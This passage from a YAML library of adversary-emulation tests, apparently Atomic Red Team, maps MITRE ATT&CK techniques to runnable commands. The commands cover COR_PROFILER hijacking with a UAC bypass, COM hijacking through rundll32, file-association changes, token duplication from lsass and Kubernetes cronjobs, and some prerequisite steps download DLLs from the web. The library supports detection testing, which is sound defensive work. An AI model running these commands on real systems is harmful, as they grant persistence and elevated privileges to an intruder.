          Write-Host "executing eventvwr.msc" -ForegroundColor Cyan
          START MMC.EXE EVENTVWR.MSC
        cleanup_command: "Remove-Item -Path \"HKCU:\\Software\\Classes\\CLSID\\#{clsid_guid}\"
          -Recurse -Force -ErrorAction Ignore \nRemove-ItemProperty -Path HKCU:\\Environment
          -Name \"COR_ENABLE_PROFILING\" -Force -ErrorAction Ignore | Out-Null\nRemove-ItemProperty
          -Path HKCU:\\Environment -Name \"COR_PROFILER\" -Force -ErrorAction Ignore
          | Out-Null\nRemove-ItemProperty -Path HKCU:\\Environment -Name \"COR_PROFILER_PATH\"
          -Force -ErrorAction Ignore | Out-Null\n"
        name: powershell
    - name: System Scope COR_PROFILER
      auto_generated_guid: f373b482-48c8-4ce4-85ed-d40c8b3f7310
      description: |
        Creates system scope environment variables to enable a .NET profiler (COR_PROFILER). System scope environment variables require a restart to take effect.
        The unmanaged profiler DLL (T1574.012x64.dll`) executes when the CLR is loaded by any process. Additionally, the profiling DLL will inherit the integrity
        level of Event Viewer bypassing UAC and executing `notepad.exe` with high integrity. If the account used is not a local administrator the profiler DLL will
        still execute each time the CLR is loaded by a process, however, the notepad process will not execute with high integrity.

        Reference: https://redcanary.com/blog/cor_profiler-for-persistence/
      supported_platforms:
      - windows
      input_arguments:
        file_name:
          description: unmanaged profiler DLL
          type: Path
          default: PathToAtomicsFolder\T1574.012\bin\T1574.012x64.dll
        clsid_guid:
          description: custom clsid guid
          type: String
          default: "{09108e71-974c-4010-89cb-acf471ae9e2c}"
      dependency_executor_name: powershell
      dependencies:
      - description: "#{file_name} must be present\n"
        prereq_command: 'if (Test-Path #{file_name}) {exit 0} else {exit 1}

'
        get_prereq_command: |
          New-Item -Type Directory (split-path #{file_name}) -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1574.012/bin/T1574.012x64.dll" -OutFile "#{file_name}"
      executor:
        command: |
          Write-Host "Creating system environment variables" -ForegroundColor Cyan
          New-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\Environment' -Name "COR_ENABLE_PROFILING" -PropertyType String -Value "1" -Force | Out-Null
          New-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\Environment' -Name "COR_PROFILER" -PropertyType String -Value "#{clsid_guid}" -Force | Out-Null
          New-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\Environment' -Name "COR_PROFILER_PATH" -PropertyType String -Value #{file_name} -Force | Out-Null
        cleanup_command: |
          Remove-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\Environment' -Name "COR_ENABLE_PROFILING" -Force -ErrorAction Ignore | Out-Null
          Remove-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\Environment' -Name "COR_PROFILER" -Force -ErrorAction Ignore | Out-Null
          Remove-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\Environment' -Name "COR_PROFILER_PATH" -Force -ErrorAction Ignore | Out-Null
        name: powershell
        elevation_required: true
    - name: Registry-free process scope COR_PROFILER
      auto_generated_guid: 79d57242-bbef-41db-b301-9d01d9f6e817
      description: |
        Creates process scope environment variables to enable a .NET profiler (COR_PROFILER) without making changes to the registry. The unmanaged profiler DLL (`T1574.012x64.dll`) executes when the CLR is loaded by PowerShell.

        Reference: https://redcanary.com/blog/cor_profiler-for-persistence/
      supported_platforms:
      - windows
      input_arguments:
        file_name:
          description: unamanged profiler DLL
          type: Path
          default: PathToAtomicsFolder\T1574.012\bin\T1574.012x64.dll
        clsid_guid:
          description: custom clsid guid
          type: String
          default: "{09108e71-974c-4010-89cb-acf471ae9e2c}"
      dependency_executor_name: powershell
      dependencies:
      - description: "#{file_name} must be present\n"
        prereq_command: 'if (Test-Path #{file_name}) {exit 0} else {exit 1}

'
        get_prereq_command: |
          New-Item -Type Directory (split-path #{file_name}) -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1574.012/bin/T1574.012x64.dll" -OutFile "#{file_name}"
      executor:
        command: |
          $env:COR_ENABLE_PROFILING = 1
          $env:COR_PROFILER = '#{clsid_guid}'
          $env:COR_PROFILER_PATH = '#{file_name}'
          POWERSHELL -c 'Start-Sleep 1'
        cleanup_command: |
          $env:COR_ENABLE_PROFILING = 0
          $env:COR_PROFILER = ''
          $env:COR_PROFILER_PATH = ''
        name: powershell
  T1546.001:
    technique:
      created: '2020-01-24T13:40:47.282Z'
      modified: '2020-01-24T13:40:47.282Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: persistence
      type: attack-pattern
      id: attack-pattern--98034fef-d9fb-4667-8dc4-2eab6231724c
      description: "Adversaries may establish persistence by executing malicious content
        triggered by a file type association. When a file is opened, the default program
        used to open the file (also called the file association or handler) is checked.
        File association selections are stored in the Windows Registry and can be
        edited by users, administrators, or programs that have Registry access (Citation:
        Microsoft Change Default Programs) (Citation: Microsoft File Handlers) or
        by administrators using the built-in assoc utility. (Citation: Microsoft Assoc
        Oct 2017) Applications can modify the file association for a given file extension
        to call an arbitrary program when a file with the given extension is opened.\n\nSystem
        file associations are listed under <code>HKEY_CLASSES_ROOT\\.[extension]</code>,
        for example <code>HKEY_CLASSES_ROOT\\.txt</code>. The entries point to a handler
        for that extension located at <code>HKEY_CLASSES_ROOT\\[handler]</code>. The
        various commands are then listed as subkeys underneath the shell key at <code>HKEY_CLASSES_ROOT\\[handler]\\shell\\[action]\\command</code>.
        For example: \n* <code>HKEY_CLASSES_ROOT\\txtfile\\shell\\open\\command</code>\n*
        <code>HKEY_CLASSES_ROOT\\txtfile\\shell\\print\\command</code>\n* <code>HKEY_CLASSES_ROOT\\txtfile\\shell\\printto\\command</code>\n\nThe
        values of the keys listed are commands that are executed when the handler
        opens the file extension. Adversaries can modify these values to continually
        execute arbitrary commands. (Citation: TrendMicro TROJ-FAKEAV OCT 2012)"
      name: Change Default File Association
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1546.001
        url: https://attack.mitre.org/techniques/T1546/001
      - external_id: CAPEC-556
        source_name: capec
        url: https://capec.mitre.org/data/definitions/556.html
      - url: https://support.microsoft.com/en-us/help/18539/windows-7-change-default-programs
        description: Microsoft. (n.d.). Change which programs Windows 7 uses by default.
          Retrieved July 26, 2016.
        source_name: Microsoft Change Default Programs
      - url: http://msdn.microsoft.com/en-us/library/bb166549.aspx
        description: Microsoft. (n.d.). Specifying File Handlers for File Name Extensions.
          Retrieved November 13, 2014.
        source_name: Microsoft File Handlers
      - url: https://docs.microsoft.com/windows-server/administration/windows-commands/assoc
        description: Plett, C. et al.. (2017, October 15). assoc. Retrieved August
          7, 2018.
        source_name: Microsoft Assoc Oct 2017
      - url: https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/troj_fakeav.gzd
        description: Sioting, S. (2012, October 8). TROJ_FAKEAV.GZD. Retrieved August
          8, 2018.
        source_name: TrendMicro TROJ-FAKEAV OCT 2012
      x_mitre_platforms:
      - Windows
      x_mitre_contributors:
      - Travis Smith, Tripwire
      - Stefan Kanthak
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Windows Registry: Windows Registry Key Modification'
      - 'Command: Command Execution'
      x_mitre_detection: |-
        Collect and analyze changes to Registry keys that associate file extensions to default applications for execution and correlate with unknown process launch activity or unusual file types for that process.

        User file association preferences are stored under <code> [HKEY_CURRENT_USER]\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts</code> and override associations configured under <code>[HKEY_CLASSES_ROOT]</code>. Changes to a user's preference will occur under this entry's subkeys.

        Also look for abnormal process call trees for execution of other commands that could relate to Discovery actions or other techniques.
      x_mitre_permissions_required:
      - Administrator
      - SYSTEM
      - User
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      identifier: T1546.001
    atomic_tests:
    - name: Change Default File Association
      auto_generated_guid: 10a08978-2045-4d62-8c42-1957bbbea102
      description: "Change Default File Association From cmd.exe of hta to notepad.\n\nUpon
        successful execution, cmd.exe will change the file association of .hta to
        notepad.exe. \n"
      supported_platforms:
      - windows
      input_arguments:
        target_extension_handler:
          description: txtfile maps to notepad.exe
          type: Path
          default: txtfile
        extension_to_change:
          description: File Extension To Hijack
          type: String
          default: ".hta"
        original_extension_handler:
          description: File Extension To Revert
          type: String
          default: htafile
      executor:
        command: 'assoc #{extension_to_change}=#{target_extension_handler}

'
        cleanup_command: 'assoc  #{extension_to_change}=#{original_extension_handler}

'
        name: command_prompt
        elevation_required: true
  T1078.004:
    technique:
      id: attack-pattern--f232fa7a-025c-4d43-abc7-318e81a73d65
      description: |-
        Adversaries may obtain and abuse credentials of a cloud account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Cloud accounts are those created and configured by an organization for use by users, remote support, services, or for administration of resources within a cloud service provider or SaaS application. In some cases, cloud accounts may be federated with traditional identity management system, such as Window Active Directory. (Citation: AWS Identity Federation)(Citation: Google Federating GC)(Citation: Microsoft Deploying AD Federation)

        Compromised credentials for cloud accounts can be used to harvest sensitive data from online storage accounts and databases. Access to cloud accounts can also be abused to gain Initial Access to a network by abusing a [Trusted Relationship](https://attack.mitre.org/techniques/T1199). Similar to [Domain Accounts](https://attack.mitre.org/techniques/T1078/002), compromise of federated cloud accounts may allow adversaries to more easily move laterally within an environment.
      name: Cloud Accounts
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1078.004
        url: https://attack.mitre.org/techniques/T1078/004
      - source_name: AWS Identity Federation
        url: https://aws.amazon.com/identity/federation/
        description: Amazon. (n.d.). Identity Federation in AWS. Retrieved March 13,
          2020.
      - source_name: Google Federating GC
        url: https://cloud.google.com/solutions/federating-gcp-with-active-directory-introduction
        description: Google. (n.d.). Federating Google Cloud with Active Directory.
          Retrieved March 13, 2020.
      - source_name: Microsoft Deploying AD Federation
        url: https://docs.microsoft.com/en-us/windows-server/identity/ad-fs/deployment/how-to-connect-fed-azure-adfs
        description: Microsoft. (n.d.). Deploying Active Directory Federation Services
          in Azure. Retrieved March 13, 2020.
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: initial-access
      modified: '2021-03-16T12:45:15.399Z'
      created: '2020-03-13T20:36:57.378Z'
      x_mitre_platforms:
      - Azure AD
      - Office 365
      - SaaS
      - IaaS
      - Google Workspace
      x_mitre_data_sources:
      - 'User Account: User Account Authentication'
      - 'Logon Session: Logon Session Creation'
      x_mitre_detection: Monitor the activity of cloud accounts to detect abnormal
        or malicious behavior, such as accessing information outside of the normal
        function of the account or account usage at atypical hours.
      x_mitre_permissions_required:
      - User
      - Administrator
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.2'
      identifier: T1078.004
    atomic_tests:
    - name: Creating GCP Service Account and Service Account Key
      auto_generated_guid: 9fdd83fd-bd53-46e5-a716-9dec89c8ae8e
      description: 'GCP Service Accounts can be used to gain intial access as well
        as maintain persistence inside Google Cloud.

'
      supported_platforms:
      - google-workspace
      - windows
      - linux
      - macos
      input_arguments:
        project-id:
          description: ID of the project, you want to create service account as well
            as service account key for
          type: String
          default: art-project-1
        service-account-name:
          description: Name of the service account
          type: String
          default: gcp-art-service-account-1
        service-account-email:
          description: Email of the service account
          type: String
          default: gcp-art-service-account-1@art-project-1.iam.gserviceaccount.com
        output-key-file:
          description: Email of the service account
          type: String
          default: gcp-art-service-account-1.json
      executor:
        name: gcloud
        elevation_required: false
        command: |
          gcloud auth login --no-launch-browser
          gcloud config set project #{project-id}
          gcloud iam service-accounts create #{service-account-name}
          gcloud iam service-accounts keys create #{output-key-file} --iam-account=#{service-account-email}
        cleanup_command: 'gcloud iam service-accounts delete #{service-account-email}
          --quiet

'
      dependency_executor_name: gcloud
      dependencies:
      - description: 'Requires gcloud

'
        prereq_command: 'if [ -x "$(command -v gcloud)" ]; then exit 0; else exit
          1; fi;

'
        get_prereq_command: 'echo "Please Install Google Cloud SDK before running
          this atomic test : https://cloud.google.com/sdk/docs/install"

'
  T1546.015:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1546.015
        url: https://attack.mitre.org/techniques/T1546/015
      - url: https://msdn.microsoft.com/library/ms694363.aspx
        description: Microsoft. (n.d.). The Component Object Model. Retrieved August
          18, 2016.
        source_name: Microsoft Component Object Model
      - url: https://blog.gdatasoftware.com/2014/10/23941-com-object-hijacking-the-discreet-way-of-persistence
        description: 'G DATA. (2014, October). COM Object hijacking: the discreet
          way of persistence. Retrieved August 13, 2016.'
        source_name: GDATA COM Hijacking
      - source_name: Elastic COM Hijacking
        description: 'Ewing, P. Strom, B. (2016, September 15). How to Hunt: Detecting
          Persistence & Evasion with the COM. Retrieved September 15, 2016.'
        url: https://www.elastic.co/blog/how-hunt-detecting-persistence-evasion-com
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Component Object Model Hijacking
      description: "Adversaries may establish persistence by executing malicious content
        triggered by hijacked references to Component Object Model (COM) objects.
        COM is a system within Windows to enable interaction between software components
        through the operating system.(Citation: Microsoft Component Object Model)
        \ References to various COM objects are stored in the Registry. \n\nAdversaries
        can use the COM system to insert malicious code that can be executed in place
        of legitimate software through hijacking the COM references and relationships
        as a means for persistence. Hijacking a COM object requires a change in the
        Registry to replace a reference to a legitimate system component which may
        cause that component to not work when executed. When that system component
        is executed through normal system operation the adversary's code will be executed
        instead.(Citation: GDATA COM Hijacking) An adversary is likely to hijack objects
        that are used frequently enough to maintain a consistent level of persistence,
        but are unlikely to break noticeable functionality within the system as to
        avoid system instability that could lead to detection. "
      id: attack-pattern--bc0f5e80-91c0-4e04-9fbb-e4e332c85dae
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: persistence
      modified: '2020-11-10T18:19:44.750Z'
      created: '2020-03-16T14:12:47.923Z'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_permissions_required:
      - User
      x_mitre_detection: "There are opportunities to detect COM hijacking by searching
        for Registry references that have been replaced and through Registry operations
        (ex: [Reg](https://attack.mitre.org/software/S0075)) replacing known binary
        paths with unknown paths or otherwise malicious content. Even though some
        third-party applications define user COM objects, the presence of objects
        within HKEY_CURRENT_USER\\Software\\Classes\\CLSID\\ may be anomalous and
        should be investigated since user objects will be loaded prior to machine
        objects in HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\CLSID\\.(Citation: Elastic
        COM Hijacking) Registry entries for existing COM objects may change infrequently.
        When an entry with a known good path and binary is replaced or changed to
        an unusual value to point to an unknown binary in a new location, then it
        may indicate suspicious behavior and should be investigated.  \n\nLikewise,
        if software DLL loads are collected and analyzed, any unusual DLL load that
        can be correlated with a COM object Registry modification may indicate COM
        hijacking has been performed. "
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Windows Registry: Windows Registry Key Modification'
      - 'Command: Command Execution'
      - 'Module: Module Load'
      x_mitre_contributors:
      - Elastic
      x_mitre_platforms:
      - Windows
      identifier: T1546.015
    atomic_tests:
    - name: COM Hijacking - InprocServer32
      auto_generated_guid: 48117158-d7be-441b-bc6a-d9e36e47b52b
      description: |-
        This test uses PowerShell to hijack a reference to a Component Object Model by creating registry values under InprocServer32 key in the HKCU hive then calling the Class ID to be executed via rundll32.exe.

        Reference: https://bohops.com/2018/06/28/abusing-com-registry-structure-clsid-localserver32-inprocserver32/
      supported_platforms:
      - windows
      input_arguments:
        clsid_threading:
          description: Threading Model
          type: string
          default: Apartment
        dllpath:
          description: Path to the DLL.
          type: String
          default: "$env:TEMP\\AtomicTest.dll"
        clsid:
          description: Class ID to hijack.
          type: string
          default: "{B5F8350B-0548-48B1-A6EE-88BD00B4A5E7}"
        clsid_description:
          description: Description for CLSID
          type: string
          default: MSAA AccPropServices
      dependency_executor_name: powershell
      dependencies:
      - description: DLL For testing
        prereq_command: 'if (Test-Path #{dllpath}) {exit 0} else {exit 1}'
        get_prereq_command: Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.015/bin/AtomicTest.dll"
          -OutFile "#{dllpath}"
      executor:
        command: |-
          New-Item -Path 'HKCU:\SOFTWARE\Classes\CLSID\#{clsid}' -Value '#{clsid_description}'
          New-Item -Path 'HKCU:\SOFTWARE\Classes\CLSID\#{clsid}\InprocServer32' -Value #{dllpath}
          New-ItemProperty -Path 'HKCU:\SOFTWARE\Classes\CLSID\#{clsid}\InprocServer32' -Name 'ThreadingModel' -Value '#{clsid_threading}' -PropertyType "String"
          Start-Process -FilePath "C:\Windows\System32\RUNDLL32.EXE" -ArgumentList '-sta #{clsid}'
        cleanup_command: Remove-Item -Path 'HKCU:\SOFTWARE\Classes\CLSID\#{clsid}'
          -Recurse -ErrorAction Ignore
        name: powershell
  T1053.007:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1053.007
        url: https://attack.mitre.org/techniques/T1053/007
      - source_name: Kubernetes Jobs
        url: https://kubernetes.io/docs/concepts/workloads/controllers/job/
        description: The Kubernetes Authors. (n.d.). Kubernetes Jobs. Retrieved March
          30, 2021.
      - source_name: Kubernetes CronJob
        url: https://kubernetes.io/docs/concepts/workloads/controllers/cron-jobs/
        description: The Kubernetes Authors. (n.d.). Kubernetes CronJob. Retrieved
          March 29, 2021.
      - source_name: Threat Matrix for Kubernetes
        url: https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/
        description: Weizman, Y. (2020, April 2). Threat Matrix for Kubernetes. Retrieved
          March 30, 2021.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Container Orchestration Job
      description: |-
        Adversaries may abuse task scheduling functionality provided by container orchestration tools such as Kubernetes to schedule deployment of containers configured to execute malicious code. Container orchestration jobs run these automated tasks at a specific date and time, similar to cron jobs on a Linux system. Deployments of this type can also be configured to maintain a quantity of containers over time, automating the process of maintaining persistence within a cluster.

        In Kubernetes, a CronJob may be used to schedule a Job that runs one or more containers to perform specific tasks.(Citation: Kubernetes Jobs)(Citation: Kubernetes CronJob) An adversary therefore may utilize a CronJob to schedule deployment of a Job that executes malicious code in the cluster.(Citation: Threat Matrix for Kubernetes)
      id: attack-pattern--1126cab1-c700-412f-a510-61f4937bb096
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: execution
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      modified: '2021-04-12T18:09:46.821Z'
      created: '2021-03-29T17:06:22.247Z'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_permissions_required:
      - User
      x_mitre_detection: 'Monitor for the anomalous creation of scheduled jobs in
        container orchestration environments. Use logging agents on Kubernetes nodes
        and retrieve logs from sidecar proxies for application and resource pods to
        monitor malicious container orchestration job deployments. '
      x_mitre_contributors:
      - Center for Threat-Informed Defense (CTID)
      - Vishwas Manral, McAfee
      - Yossi Weizman, Azure Defender Research Team
      x_mitre_platforms:
      - Containers
      x_mitre_data_sources:
      - 'Scheduled Job: Scheduled Job Creation'
      - 'Container: Container Creation'
      - 'File: File Creation'
      identifier: T1053.007
    atomic_tests:
    - name: ListCronjobs
      auto_generated_guid: ddfb0bc1-3c3f-47e9-a298-550ecfefacbd
      description: 'Kubernetes Job is a controller that creates one or more pods and
        ensures that a specified number of them successfully terminate. Kubernetes
        Job can be used to run containers that perform finite tasks for batch jobs.
        Kubernetes CronJob is used to schedule Jobs. Attackers may use Kubernetes
        CronJob for scheduling execution of malicious code that would run as a container
        in the cluster.

'
      supported_platforms:
      - containers
      input_arguments:
        namespace:
          description: K8s namespace to list
          type: String
          default: default
      dependencies:
      - description: 'kubectl must be installed

'
        get_prereq_command: 'echo "kubectl must be installed manually"

'
        prereq_command: 'which kubectl

'
      executor:
        command: 'kubectl get cronjobs -n #{namespace}

'
        name: bash
        elevation_required: false
    - name: CreateCronjob
      auto_generated_guid: f2fa019e-fb2a-4d28-9dc6-fd1a9b7f68c3
      description: 'Kubernetes Job is a controller that creates one or more pods and
        ensures that a specified number of them successfully terminate. Kubernetes
        Job can be used to run containers that perform finite tasks for batch jobs.
        Kubernetes CronJob is used to schedule Jobs. Attackers may use Kubernetes
        CronJob for scheduling execution of malicious code that would run as a container
        in the cluster.

'
      supported_platforms:
      - containers
      input_arguments:
        namespace:
          description: K8s namespace to list
          type: String
          default: default
      dependencies:
      - description: 'kubectl must be installed

'
        get_prereq_command: 'echo "kubectl must be installed manually"

'
        prereq_command: 'which kubectl

'
      executor:
        command: 'kubectl create -f src/cronjob.yaml -n #{namespace}

'
        cleanup_command: 'kubectl delete cronjob art -n #{namespace}

'
        name: bash
        elevation_required: false
  T1134.002:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1134.002
        url: https://attack.mitre.org/techniques/T1134/002
      - url: https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing
        description: Mathers, B. (2017, March 7). Command line process auditing. Retrieved
          April 21, 2017.
        source_name: Microsoft Command-line Logging
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Create Process with Token
      description: Adversaries may create a new process with a duplicated token to
        escalate privileges and bypass access controls. An adversary can duplicate
        a desired access token with <code>DuplicateToken(Ex)</code> and use it with
        <code>CreateProcessWithTokenW</code> to create a new process running under
        the security context of the impersonated user. This is useful for creating
        a new process under the security context of a different user.
      id: attack-pattern--677569f9-a8b0-459e-ab24-7f18091fa7bf
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      modified: '2020-03-26T21:28:19.476Z'
      created: '2020-02-18T16:48:56.582Z'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_defense_bypassed:
      - Windows User Account Control
      - System access controls
      - File system access controls
      x_mitre_detection: |-
        If an adversary is using a standard command-line shell, analysts can detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the <code>runas</code> command. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging)

        If an adversary is using a payload that calls the Windows token APIs directly, analysts can detect token manipulation only through careful analysis of user network activity, examination of running processes, and correlation with other endpoint and network behavior.

        Analysts can also monitor for use of Windows APIs such as <code>DuplicateToken(Ex)</code> and <code>CreateProcessWithTokenW</code> and correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators.
      x_mitre_data_sources:
      - 'Process: OS API Execution'
      - 'Command: Command Execution'
      x_mitre_platforms:
      - Windows
      identifier: T1134.002
    atomic_tests:
    - name: Access Token Manipulation
      auto_generated_guid: dbf4f5a9-b8e0-46a3-9841-9ad71247239e
      description: "This Action demonstrates how an access token for a specific program
        can spawn another program under a different owner. \nAdversaries can leverage
        access tokens to run programs under a different user not only to achieve privilege
        escalation but also to evade detection by blending in with normal user activity.
        \nThis Action will query all processes and list the process name and owner.It
        will then make a copy of an existing token to create a new instance of cmd.exe\n"
      supported_platforms:
      - windows
      executor:
        command: |
          Set-ExecutionPolicy -Scope Process Bypass -Force
          $owners = @{}
          gwmi win32_process |% {$owners[$_.handle] = $_.getowner().user}
          Get-Process | Select ProcessName,Id,@{l="Owner";e={$owners[$_.id.tostring()]}}
          $PathToAtomicsFolder\T1134.002\src\GetToken.ps1; [MyProcess]::CreateProcessFromParent((Get-Process lsass).Id,"cmd.exe")
        name: powershell
        elevation_required: true
  T1543:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1543
        url: https://attack.mitre.org/techniques/T1543
      - url: https://technet.microsoft.com/en-us/library/cc772408.aspx
        description: Microsoft. (n.d.). Services. Retrieved June 7, 2016.
        source_name: TechNet Services
      - url: https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html
        description: Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved
          July 10, 2017.
        source_name: AppleDocs Launch Agent Daemons
      - url: https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf
        description: 'Patrick Wardle. (2016, February 29). Let''s Play Doctor: Practical
          OS X Malware Detection & Analysis. Retrieved July 10, 2017.'
        source_name: OSX Malware Detection
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Create or Modify System Process
      description: "Adversaries may create or modify system-level processes to repeatedly
        execute malicious payloads as part of persistence. When operating systems
        boot up, they can start processes that perform background system functions.
        On Windows and Linux, these system processes are referred to as services.
        (Citation: TechNet Services) On macOS, launchd processes known as [Launch
        Daemon](https://attack.mitre.org/techniques/T1543/004) and [Launch Agent](https://attack.mitre.org/techniques/T1543/001)
        are run to finish system initialization and load user specific parameters.(Citation:
        AppleDocs Launch Agent Daemons) \n\nAdversaries may install new services,
        daemons, or agents that can be configured to execute at startup or a repeatable
        interval in order to establish persistence. Similarly, adversaries may modify
        existing services, daemons, or agents to achieve the same effect.  \n\nServices,
        daemons, or agents may be created with administrator privileges but executed
        under root/SYSTEM privileges. Adversaries may leverage this functionality
        to create or modify system processes in order to escalate privileges. (Citation:
        OSX Malware Detection).  "
      id: attack-pattern--106c0cf6-bf73-4601-9aa8-0945c2715ec5
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      modified: '2020-10-09T13:46:29.922Z'
      created: '2020-01-10T16:03:18.865Z'
      x_mitre_data_sources:
      - 'Service: Service Creation'
      - 'Service: Service Modification'
      - 'Process: Process Creation'
      - 'Process: OS API Execution'
      - 'Command: Command Execution'
      - 'Windows Registry: Windows Registry Key Creation'
      - 'Windows Registry: Windows Registry Key Modification'
      - 'File: File Creation'
      - 'File: File Modification'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: false
      x_mitre_detection: "Monitor for changes to system processes that do not correlate
        with known software, patch cycles, etc., including by comparing results against
        a trusted system baseline. New, benign system processes may be created during
        installation of new software. Data and events should not be viewed in isolation,
        but as part of a chain of behavior that could lead to other activities, such
        as network connections made for Command and Control, learning details about
        the environment through Discovery, and Lateral Movement.  \n\nCommand-line
        invocation of tools capable of modifying services may be unusual, depending
        on how systems are typically used in a particular environment. Look for abnormal
        process call trees from known services and for execution of other commands
        that could relate to Discovery or other adversary techniques. \n\nMonitor
        for changes to files associated with system-level processes."
      x_mitre_platforms:
      - Windows
      - macOS
      - Linux
    atomic_tests: []
  T1053.003:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1053.003
        url: https://attack.mitre.org/techniques/T1053/003
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Cron
      description: |-
        Adversaries may abuse the <code>cron</code> utility to perform task scheduling for initial or recurring execution of malicious code. The <code>cron</code> utility is a time-based job scheduler for Unix-like operating systems.  The <code> crontab</code> file contains the schedule of cron entries to be run and the specified times for execution. Any <code>crontab</code> files are stored in operating system-specific file paths.

        An adversary may use <code>cron</code> in Linux or Unix environments to execute programs at system startup or on a scheduled basis for persistence. <code>cron</code> can also be abused to conduct remote Execution as part of Lateral Movement and or to run a process under the context of a specified account.
      id: attack-pattern--2acf44aa-542f-4366-b4eb-55ef5747759c
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: execution
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      modified: '2020-03-23T23:30:46.546Z'
      created: '2019-12-03T14:25:00.538Z'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_remote_support: false
      x_mitre_permissions_required:
      - User
      x_mitre_detection: "Monitor scheduled task creation from common utilities using
        command-line invocation. Legitimate scheduled tasks may be created during
        installation of new software or through system administration functions. Look
        for changes to tasks that do not correlate with known software, patch cycles,
        etc.  \n\nSuspicious program execution through scheduled tasks may show up
        as outlier processes that have not been seen before when compared against
        historical data. Data and events should not be viewed in isolation, but as
        part of a chain of behavior that could lead to other activities, such as network
        connections made for Command and Control, learning details about the environment
        through Discovery, and Lateral Movement. "
      x_mitre_data_sources:
      - 'Scheduled Job: Scheduled Job Creation'
      - 'Command: Command Execution'
      - 'File: File Modification'
      - 'Process: Process Creation'
      x_mitre_platforms:
      - Linux
      - macOS
      identifier: T1053.003
    atomic_tests:
    - name: Cron - Replace crontab with referenced file
      auto_generated_guid: 435057fb-74b1-410e-9403-d81baf194f75
      description: 'This test replaces the current user''s crontab file with the contents
        of the referenced file. This technique was used by numerous IoT automated
        exploitation attacks.

'
